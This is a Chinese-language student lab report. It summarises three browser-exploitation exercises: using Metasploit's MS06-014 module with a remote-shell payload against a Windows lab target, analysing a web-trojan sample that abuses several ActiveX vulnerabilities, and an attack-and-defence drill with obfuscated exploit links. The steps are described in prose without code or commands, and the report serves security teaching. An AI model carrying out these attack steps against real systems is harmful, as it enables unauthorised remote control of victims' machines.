Web浏览器渗透攻击实验:实验的第一个任务是使用攻击机和Windows靶机进行浏览器渗透攻击实验。通过选择Metasploit中的MS06-014渗透攻击模块,设置PAYLOAD为远程Shell连接,配置服务器地址和URL参数,成功构造出恶意网页木马脚本。在靶机环境中启动浏览器,访问生成的恶意URL,验证了与服务器的连通性。最终,在攻击机的Metasploit软件中查看到渗透攻击状态,并通过建立的远程控制会话SESSION,在靶机上远程执行了命令。这一过程展示了如何利用已知漏洞构造恶意代码,实现对目标系统的远程控制,同时也强调了及时更新和修补系统漏洞的重要性。
取证分析实践:实验的第二个任务是网页木马攻击场景分析。首先访问start.html文件,通过解密和MD5散列值下载对应的文件。在解密过程中,识别出多个应用程序漏洞,包括“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别对应微软数据库访问对象、暴风影音、PPStream和百度搜霸的漏洞。通过对下载的js文件和cab文件进行分析,提取了其中的恶意代码和下载链接,进一步了解了攻击者如何利用这些漏洞进行攻击。这一过程不仅锻炼了对恶意代码的分析能力,还加深了对Web安全威胁的认识,为制定有效的防御策略提供了依据。
攻防对抗实践:实验的第三个任务是Web浏览器渗透攻击攻防。攻击方使用Metasploit构造了针对不同Web浏览端软件安全漏洞的渗透攻击代码,并进行了混淆处理后组装成一个URL。防守方通过提取挂马链接、解混淆分析,恢复了渗透代码的原始形态,并分析了这些代码针对的漏洞。这一过程模拟了现实中的网络攻防场景,让参与者从攻击者和防守者的角度出发,深入理解了网络攻击的手段和防御的方法,提高了应对网络安全威胁的能力。

参考文献

什么是蜜罐与蜜网(Honeypots and Honeynets)
【超详细】渗透测试平台Metasploit使用教程(框架介绍、靶机安装、基本使用方法)
snort实现入侵检测功能
seed官网
Linux 安装miniconda 配置清华镜像 并安装pytorch
超详细的 Wireshark 使用教程
缓冲区溢出

posted @ 2025-06-14 22:56  别来无恙。。  阅读(44)  评论(0)    收藏  举报